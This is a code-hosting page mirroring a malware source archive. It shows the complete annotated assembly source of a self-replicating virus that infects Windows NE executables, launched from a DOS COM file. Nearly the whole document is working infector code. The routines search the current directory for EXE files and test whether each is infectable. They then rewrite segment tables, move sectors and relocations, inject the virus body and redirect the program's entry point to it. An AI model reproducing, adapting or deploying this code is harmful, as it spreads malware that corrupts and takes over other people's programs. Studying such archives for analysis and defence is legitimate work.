13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-20 14:08:37 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.WindowsVirus.asm
vxunderground 8c9f96fc5f mov fix
2022-08-21 04:30:30 -05:00

688 lines
27 KiB
NASM
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;A Basic Windows-EXE infecting virus. Launched as a DOS COM file.
.model small
.code
;All code must be offset-relocatable.
;All data is stored on the stack.
;Useful constants
NEW_HDR_SIZE EQU 40H ;size of new EXE header
;The following are used to access data on the stack. The first 512 bytes are
;a buffer for disk reads/writes.
FILE_ID EQU 200H ;"*.EXE" constant
ENTRYPT EQU 206H ;ip of virus start
VIRSTART EQU 208H ;offset of virus start in cs
NH_OFFSET EQU 20AH ;new EXE header offset from file start
VIRSECS EQU 20CH ;size added to file, in sectors for virus
INITSEC EQU 20EH ;initial cs location in file (sectors)
RELOCS EQU 210H ;number of relocatables in initial cs
LOG_SEC EQU 212H ;logical sector size for pgm
CS_SIZE EQU 214H ;size of all data in code seg, including rels, not virus
NEW_HDR EQU 216H ;new EXE header
;The following gives the size of the virus, in bytes
VIRUS_SIZE EQU OFFSET END_VIRUS - OFFSET VIRUS
ORG 100H
;******************************************************************************
;This is the main virus routine. It simply finds a file to infect and infects
;it, and then passes control to the host program. It resides in the first
;segment of the host program, that is, the segment where control is initially
;passed.
VIRUS:
push ax ;save all registers
push bx
push cx
push dx
push si
push di
call VIR_START
VIR_START:
pop bx
sub bx,3+6
push bp ;save segments and bp
push ds
push es
mov ax,ss ;all viral data is in stack segment
mov ds,ax
mov es,ax
sub sp,512+128 ;data area
mov bp,sp ;bp indexes data
mov [bp+VIRSTART],bx ;save virus starting offset here
call FIND_FILE ;find a viable file to infect
jnz GOTO_HOST ;z set if a file was found
call INFECT_FILE ;infect it if found
GOTO_HOST:
add sp,512+128
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
VIRUS_DONE:
jmp HOST ;pass control to host program
;******************************************************************************
;This routine searches for a file to infect. It looks for EXE files and then
;checks them to see if they're uninfected, infectable Windows files. If a file
;is found, this routine returns with Z set, with the file left open, and its
;handle in the bx register. This FIND_FILE searches only the current directory.
FIND_FILE:
mov di,bp ;first, put '*.EXE',0 on stack
add di,FILE_ID ;at this location
mov dx,di ;set dx up for search first
mov ax,2E2AH ;*.
stosw
mov ax,5845H ;EX
stosw
mov ax,0045H ;E(0)
stosw
xor cx,cx ;file attribute
mov ah,4EH ;search first
int 21H
FIND_LOOP:
or al,al ;see if search successful
jnz FIND_EXIT ;nope, exit with NZ set
call FILE_OK ;see if it is infectable
jz FIND_EXIT ;yes, get out with Z set
mov ah,4FH ;no, search for next file
int 21H
jmp SHORT FIND_LOOP
FIND_EXIT: ;pass control back to main routine
ret
;This routine determines whether a file is ok to infect. The conditions for an
;OK file are as follows:
;
; (1) It must be a Windows EXE file.
; (2) There must be enough room in the initial code segment for it.
; (3) The file must not be infected already.
;
;If the file is OK, this routine returns with Z set, the file open, and the
;handle in bx. If the file is not OK, this routine returns with NZ set, and
;it closes the file. This routine also sets up a number of important variables
;as it snoops through the file. These are used by the infect routine later.
FILE_OK:
push ds
push es ;save seg registers
mov ah,2FH
int 21H ;get current DTA address in es:bx
push es
push ds
pop es
pop ds ;exchange ds and es
mov dx,bx ;put address in ds:dx
add dx,30 ;set ds:dx to point to file name
mov ah,3DH ;ok, now open the file
mov al,01000010B ;flags, read/write, etc.
int 21H
pop es
pop ds ;restore seg registers
jnc FOK1 ;error on opening?
jmp FOK_ERROR2 ;yes, exit now
FOK1: mov bx,ax ;open ok, put handle in bx
mov ah,3FH ;now read EXE header
mov dx,bp ;ds:dx points to file buffer
mov cx,40H ;read 40H bytes
int 21H
jc FN1 ;exit on error
cmp [bp],5A4DH ;see if first 2 bytes are 'MZ'
jnz FN1 ;nope, file not an EXE, exit
cmp WORD PTR [bp+18H],40H ;see if reloc table is at 40H or more
jc FN1 ;nope, it can't be a Windows EXE
mov dx,[bp+3CH] ;ok, put offset to new header in dx
mov [bp+NH_OFFSET],dx ;and save it here
xor cx,cx
mov ax,4200H ;now do a seek from start
int 21H
jc FN1
mov ah,3FH
mov cx,NEW_HDR_SIZE ;now read the new header
mov dx,bp ;into memory
add dx,NEW_HDR
int 21H
jc FN1 ;exit if there is an error
cmp [bp+NEW_HDR],454EH ;see if this is 'NE' new header ID
jnz FN1 ;nope, not a Windows EXE!
mov al,[bp+36H+NEW_HDR] ;get target OS flags
and al,2 ;see if target OS = windows
jnz FOK2 ;ok, go on
FN1: jmp FOK_ERROR1 ;else exit
;If we get here, then condition (1) is fulfilled.
FOK2: mov dx,[bp+16H+NEW_HDR] ;get initial cs
call GET_SEG_ENTRY ;and read seg table entry into disk buf
jc FOK_ERROR1
mov ax,[bp+2] ;put segment length in ax
add ax,VIRUS_SIZE ;add size of virus to it
jc FOK_ERROR1 ;if we carry, there's not enough room
;else we're clear on this count
;If we get here, then condition (2) is fulfilled.
mov cx,[bp+NEW_HDR+32H] ;logical sector alignment
mov ax,1
shl ax,cl ;ax=logical sector size
mov cx,[bp] ;get logical-sector offset of start seg
mul cx ;byte offset in dx:ax
add ax,WORD PTR [bp+NEW_HDR+14H];add in ip of entry point
adc dx,0
mov cx,dx
mov dx,ax ;put entry point in cx:dx
mov ax,4200H ;and seek from start of file
int 21H
jc FOK_ERROR1
mov ah,3FH
mov cx,20H ;read 32 bytes
mov dx,bp
int 21H ;into buffer
jc FOK_ERROR1
mov di,bp
mov si,[bp+VIRSTART] ;get starting offset of virus in cs
mov cx,10H ;compare 32 bytes
FOK3: mov ax,cs:[si] ;of virus at cs
add si,2
add di,2
cmp ax,[di-2] ;with code in buffer
loopz FOK3
jz FOK_ERROR1 ;already there, exit not ok
;If we get here, then condition (3) is fulfilled, all systems go!
xor al,al ;set Z flag
ret ;and exit
FOK_ERROR1:
mov ah,3EH ;close file before exiting
int 21H
FOK_ERROR2:
mov al,1
or al,al ;set NZ
ret ;and return to caller
;******************************************************************************
;This routine modifies the file we found to put the virus in it. There are a
;number of steps in the infection process, as follows:
; 1) We have to modify the segment table. For the initial segment, this
; involves (a) increasing the segment size by the size of the virus,
; and (b) increase the minimum allocation size of the segment, if it
; needs it. Every segment AFTER this initial segment must also be
; adjusted by adding the size increase, in sectors, of the virus
; to it.
; 2) We have to change the starting ip in the new header. The virus is
; placed after the host code in this segment, so the new ip will be
; the old segment size.
; 3) We have to move all sectors in the file after the initial code segment
; out by VIRSECS, the size of the virus in sectors.
; 4) We have to move the relocatables, if any, at the end of the code
; segment we are infecting, to make room for the virus code
; 5) We must move the virus code into the code segment we are infecting.
; 6) We must adjust the jump in the virus to go to the original entry point.
; 7) We must adjust the resource offsets in the resource table to reflect
; their new locations.
; 8) We have to kill the fast-load area.
;
INFECT_FILE:
mov dx,[bp+NEW_HDR+24H] ;get resource table @
add dx,[bp+NH_OFFSET]
xor cx,cx
mov ax,4200H
int 21H
mov dx,bp
add dx,LOG_SEC ;read logical sector size
mov ah,3FH
mov cx,2
int 21H
mov cx,[bp+LOG_SEC]
mov ax,1
shl ax,cl
mov [bp+LOG_SEC],ax ;put logical sector size here
mov ax,[bp+NEW_HDR+14H] ;save old entry point
mov [bp+ENTRYPT],ax ;for future use
mov dx,[bp+NEW_HDR+16H] ;read seg table entry
call GET_SEG_ENTRY ;for initial cs
mov ax,[bp] ;get location of this seg in file
mov [bp+INITSEC],ax ;save that here
mov ax,[bp+2] ;get segment size
mov [bp+NEW_HDR+14H],ax ;update entry ip in new header in ram
call SET_RELOCS ;set up RELOCS and CS_SIZE
mov ax,VIRUS_SIZE ;now calculate added size of segment
add ax,[bp+CS_SIZE] ;ax=total new size
xor dx,dx
mov cx,[bp+LOG_SEC]
div cx ;ax=full sectors in cs with virus
or dx,dx ;any remainder?
jz INF05
inc ax ;adjust for partially full sector
INF05: push ax
mov ax,[bp+CS_SIZE] ;size without virus
xor dx,dx
div cx
or dx,dx
jz INF07
inc ax
INF07: pop cx
sub cx,ax ;cx=number of secs needed for virus
mov [bp+VIRSECS],cx ;save this here
call UPDATE_SEG_TBL ;perform mods in (1) above on file
mov ax,4200H ;now move file pointer to new header
mov dx,[bp+NH_OFFSET]
xor cx,cx
int 21H
lea di,[bp+NEW_HDR+37H] ;zero out fast load area
xor ax,ax
stosb
stosw
stosw ;(8) completed
mov ah,40H ;and update new header in file
mov dx,bp ;(we updated the entry point above)
add dx,NEW_HDR
mov cx,NEW_HDR_SIZE
int 21H ;mods in (2) above now complete
call MOVE_END_OUT ;move end of virus out by VIRSECS (3)
;also sets up RELOCS count
cmp WORD PTR [bp+RELOCS],0 ;any relocatables in cs?
jz INF1 ;nope, don't need to relocate them
call RELOCATE_RELOCS ;relocate relocatables in cs (4)
INF1: call WRITE_VIRUS_CODE ;put virus into cs (5 & 6)
call UPDATE_RES_TABLE ;update resource table entries
mov ah,3EH ;close the file now
int 21H ;all done infecting!
; mov ah,2FH ;report file name infected
; int 21H ;for DOS-based debugging purposes
; push es ;only!
; pop ds
; add bx,30
; mov dx,bx
;ZLP: mov al,[bx]
; or al,al
; jz ZLP1
; inc bx
; jmp ZLP
;ZLP1: mov BYTE PTR [bx],'$'
; mov ah,9
; int 21H
ret
;The following procedure updates the Segment Table entries per item (1) in
;INFECT_FILE.
UPDATE_SEG_TBL:
mov dx,[bp+NEW_HDR+16H] ;read seg table entry
call GET_SEG_ENTRY ;for initial cs
mov ax,[bp+2] ;get seg size
add ax,VIRUS_SIZE ;add the size of the virus to seg size
mov [bp+2],ax ;and update size in seg table
mov ax,[bp+6] ;get min allocation size of segment
or ax,ax ;is it 64K?
jz US2 ;yes, leave it alone
US1: add ax,VIRUS_SIZE ;add virus size on
jnc US2 ;no overflow, go and update
xor ax,ax ;else set size = 64K
US2: mov [bp+6],ax ;update size in table in ram
mov ax,4201H
mov cx,0FFFFH
mov dx,-8
int 21H ;back up to location of seg table entry
mov ah,40H ;and write modified seg table entry
mov dx,bp ;for initial cs to segment table
mov cx,8
int 21H ;ok, init cs seg table entry is modified
mov di,[bp+NEW_HDR+1CH] ;get number of segment table entries
US3: push di ;save table entry counter
mov dx,di ;dx=seg table entry # to read
call GET_SEG_ENTRY ;read it into disk buffer
mov ax,[bp] ;get offset of this segment in file
cmp ax,[bp+INITSEC] ;higher than initial code segment?
jle US4 ;nope, don't adjust
add ax,[bp+VIRSECS] ;yes, add the size of virus in
US4: mov [bp],ax ;adjust segment loc in memory
mov ax,4201H
mov cx,0FFFFH
mov dx,-8
int 21H ;back up to location of seg table entry
mov ah,40H ;and write modified seg table entry
mov dx,bp
mov cx,8
int 21H
pop di ;restore table entry counter
dec di
jnz US3 ;and loop until all segments done
ret ;all done
;This routine goes to the segment table entry number specified in dx in the
;file and reads it into the disk buffer. dx=1 is the first entry!
GET_SEG_ENTRY:
mov ax,4200H ;seek in file
dec dx
mov cl,3
shl dx,cl
add dx,[bp+NH_OFFSET]
add dx,[bp+NEW_HDR+22H] ;dx=ofs of seg table entry requested
xor cx,cx ; in the file
int 21H ;go to specified table entry
jc GSE1 ;exit on error
mov ah,3FH ;read table entry into disk buf
mov dx,bp
mov cx,8
int 21H
GSE1: ret
;This routine moves the end of the virus out by VIRSECS. The "end" is
;everything after the initial code segment where the virus will live.
;The variable VIRSECS is assumed to be properly set up before this is called.
;This routine also sets up the RELOCS variable.
MOVE_END_OUT:
mov ax,[bp+CS_SIZE] ;size of cs in bytes
mov cx,[bp+LOG_SEC]
xor dx,dx
div cx
or dx,dx
jz ME01
inc ax
ME01: add ax,[bp+INITSEC] ;ax=next sector after cs
push ax
xor dx,dx
xor cx,cx
mov ax,4202H ;seek end of file
int 21H ;returns dx:ax = file size
mov cx,[bp+LOG_SEC]
div cx ;ax=sectors in file
mov si,ax ;keep it here
pop di ;last sector after code segment
dec di
MEO2: push si
push di
call MOVE_SECTOR ;move sector number si out
pop di
pop si
dec si
cmp si,di
jnz MEO2 ;and loop until all moved
ret
;This routine moves a single sector from SI to SI+VIRSECS
MOVE_SECTOR:
mov ax,si
mov cx,[bp+LOG_SEC]
mul cx
mov cx,dx
mov dx,ax
mov ax,4200H
int 21H ;seek sector si
mov ah,3FH ;and read it
mov dx,bp
mov cx,[bp+LOG_SEC]
int 21H
mov ax,[bp+VIRSECS]
dec ax ;calculate new, relative file ptr
mov cx,[bp+LOG_SEC]
mul cx
mov cx,dx
mov dx,ax
mov ax,4201H
int 21H ;and move there
mov ah,40H
mov dx,bp
mov cx,[bp+LOG_SEC]
int 21H ;and write sector there
ret
;This routine simply sets the variable RELOCS and CS_SIZE variables in memory.
SET_RELOCS:
mov WORD PTR [bp+RELOCS],0
mov dx,[bp+NEW_HDR+16H] ;read init cs seg table entry
call GET_SEG_ENTRY
mov ax,[bp+4] ;get segment flags
xor dx,dx
and ah,1 ;check for relocation data
mov ax,[bp+NEW_HDR+14H] ;size of segment is this
jz SRE ;no data, continue
push ax
push ax ;there is relocation data, how much?
mov ax,[bp+INITSEC] ;find end of code in file
mov cx,[bp+LOG_SEC]
mul cx ;dx:ax = start of cs in file
pop cx ;cx = size of code
add ax,cx
adc dx,0
mov cx,dx
mov dx,ax ;cx:dx=end of cs in file
mov ax,4200H ;so go seek it
int 21H
mov ah,3FH ;and read 2 byte count of relocatables
mov dx,bp
mov cx,2
int 21H
mov ax,[bp]
mov [bp+RELOCS],ax ;save count here
mov cl,3
shl ax,cl
add ax,2 ;size of relocation data
pop cx ;size of code in segment
xor dx,dx
add ax,cx ;total size of segment
adc dx,0
SRE: mov [bp+CS_SIZE],ax ;save it here
ret
;This routine relocates the relocatables at the end of the initial code
;segment to make room for the virus. It will move any number of relocation
;records, each of which is 8 bytes long.
RELOCATE_RELOCS:
mov ax,[bp+RELOCS] ;number of relocatables
mov cl,3
shl ax,cl
add ax,2 ;ax=total number of bytes to move
push ax
mov ax,[bp+INITSEC]
mov cx,[bp+LOG_SEC]
mul cx ;dx:ax = start of cs in file
add ax,[bp+NEW_HDR+14H]
adc dx,0 ;dx:ax = end of cs in file
pop cx ;cx = size of relocatables
add ax,cx
adc dx,0 ;dx:ax = end of code+relocatables
xchg ax,cx
xchg dx,cx ;ax=size cx:dx=location
RR_LP: push cx
push dx
push ax
cmp ax,512
jle RR1
mov ax,512 ;read up to 512 bytes
RR1: sub dx,ax ;back up file pointer
sbb cx,0
push cx
push dx
push ax
mov ax,4200H ;seek desired location in file
int 21H
pop cx
mov ah,3FH
mov dx,bp
int 21H ;read needed number of bytes, # in ax
pop dx
pop cx
push ax ;save # of bytes read
add dx,VIRUS_SIZE ;move file pointer up now
adc cx,0
mov ax,4200H
int 21H
pop cx ;bytes to write
mov ah,40H
mov dx,bp
int 21H ;write them to new location
pop ax
pop dx
pop cx
cmp ax,512 ;less than 512 bytes to write?
jle RRE ;yes, we're all done
sub ax,512 ;nope, adjust indicies
sub dx,512
sbb cx,0
jmp RR_LP ;and go do another
RRE: ret
;This routine writes the virus code itself into the code segment being infected.
;It also updates the jump which exits the virus so that it points to the old
;entry point in this segment. The only trick is that we can't write directly
;from cs since we can't just set ds=cs in windows or you get a fault. Thus
;we move the virus to the disk buffer and then write from there.
WRITE_VIRUS_CODE:
mov ax,[bp+INITSEC] ;sectors to code segment
mov cx,[bp+LOG_SEC]
mul cx ;dx:ax = location of code seg
add ax,[bp+NEW_HDR+14H]
adc dx,0 ;dx:ax = place to put virus
mov cx,dx
mov dx,ax
push cx
push dx ;save these to adjust jump
mov ax,4200H ;seek there
int 21H
mov si,[bp+VIRSTART] ;si=start of virus
mov cx,VIRUS_SIZE ;cx=size of virus
WVCLP: push cx
cmp cx,512 ;512 bytes maximum allowed per write
jle WVC1
mov cx,512
WVC1: push cx
mov di,bp ;now move virus to disk buffer
WCV2: mov al,cs:[si] ;get a byte from cs
inc si
stosb ;and save to disk buffer
loop WCV2 ;repeat until done
pop cx ;now write cx bytes to the file
mov dx,bp
mov ah,40H
int 21H
pop cx ;done writing,
cmp cx,512 ;did we have more than 512 bytes?
jle WVC3 ;nope, all done writing
sub cx,512 ;else subtract 512
jmp WVCLP ;and do another
WVC3: pop dx ;ok, now we have to update the jump
pop cx ;to the host
mov ax,OFFSET VIRUS_DONE - OFFSET VIRUS
inc ax
add dx,ax
adc cx,0 ;cx:dx=location to update
push ax
mov ax,4200H ;go there
int 21H
pop ax
inc ax
inc ax
add ax,[bp+NEW_HDR+14H] ;ax=offset of instr after jump
sub ax,[bp+ENTRYPT] ;ax=distance to jump
neg ax ;make it a negative number
mov [bp],ax ;save it here
mov ah,40H ;and write it to disk
mov cx,2
mov dx,bp
int 21H ;all done
ret
;Update the resource table so sector pointers are right.
UPDATE_RES_TABLE:
mov dx,[bp+NEW_HDR+24H] ;move to resource table in EXE
add dx,[bp+NH_OFFSET]
add dx,2
xor cx,cx
mov ax,4200H
int 21H
URT1:
mov ah,3FH ;read 8 byte typeinfo record
mov dx,bp
mov cx,8
int 21H
cmp WORD PTR [bp],0 ;is type ID 0?
jz URTE ;yes, all done
mov cx,[bp+2] ;get count of nameinfo records to read
URT2: push cx
mov ah,3FH ;read 1 nameinfo record
mov dx,bp
mov cx,12
int 21H
mov ax,[bp] ;get offset of resource
cmp ax,[bp+INITSEC] ;greater than initial cs location?
jle URT3 ;nope, don't worry about it
add ax,[bp+VIRSECS] ;add size of virus
mov [bp],ax
mov ax,4201H ;now back file pointer up
mov dx,-12
mov cx,0FFFFH
int 21H
mov ah,40H ;and write updated resource rec to
mov dx,bp ;the file
mov cx,12
int 21H
URT3:
pop cx
dec cx ;read until all nameinfo records for
jnz URT2 ;this typeinfo are done
jmp URT1 ;go get another typeinfo record
URTE: ret
;******************************************************************************
END_VIRUS: ;label for the end of the windows virus
;******************************************************************************
;The following HOST is only here for the DOS-based loader. Once this infects
;a windows file, the virus will jump to the startup code for the program it
;is attached to.
HOST: mov ax,4C00H
int 21H
END VIRUS